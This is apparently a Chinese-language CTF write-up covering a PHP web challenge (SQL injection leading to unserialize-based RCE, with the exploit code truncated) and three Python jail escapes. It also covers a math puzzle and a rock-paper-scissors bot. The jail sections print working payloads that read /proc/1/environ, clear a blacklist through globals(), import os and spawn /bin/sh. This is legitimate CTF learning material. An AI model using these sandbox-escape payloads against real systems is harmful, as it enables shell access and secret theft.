Web
给了docker,代码逻辑
mad,开局这里不是admin
这个函数有sql注入
找到逻辑
继续
1 | $view->arrayToMarkdown(unserialize(base64_decode($goods['data']))) |
抓包,获取请求数据
从docker中可以看到,flag不在数据库里面,所以我们需要RCE,emm
这里有个反序列化
1 | <?php |
直接网上找条链子就打通了
需要数组形式的
然后构造一个sql语句
exp:
1 | import requests |
最后访问页面,触发反序列化
本地打一下,看见打上去了
直接RCE
MISC
Pyjail ! It’s myFILTER !!!
源码:
1 | # Python Version:python3.10 |
直接打
1 | {"a"}' + print(open('/proc/1/environ').read()) # |
Pyjail ! It’s myRevenge !!!
题目源码
第一步清除 blacklist,然后用 input 读入继续打
1 2 3 |
{[list(globals().values())[-2].clear(),"{i""nput()}"][1]} {[globals()["__builtins__"].exec("import os"),"{i""nput()}"][1]} {[os.spawnv(0, "/bin/sh", ["sh"]),"{i""nput()}"][1]} |
---|---|
Pyjail ! It’s myAST !!!!
题目源码,远程环境为 python 3.11
python 3.10 开始引入了 match
关键字,可以用 match
获取对象属性,用 unicode ﹍
绕过下划线检测,用 bytes
转字符串和 len
构造数字绕过 ast 中的禁止常量,使用海象运算符绕过赋值,减小 payload 长度,虽然 1800 够用了 (
一.SpeedUp
在这个网站直接记载了2的27次方的阶乘的每一位数字之和
A244060 - OEIS
对4495662081取个sha256即可
flag{bbdee5c548fddfc76617c562952a3a3b03d423985c095521a8661d248fad3797}
石头剪刀布
他是贝叶斯预测,然后手搓序列,每次贝叶斯的预测的应该差不多,可以看最后一次结果,然后序列中改成赢过AI的出法加入序列,按照这个规律改就可以把分数逐步上升,最后达到260分拿到flag
1 | from pwn import * |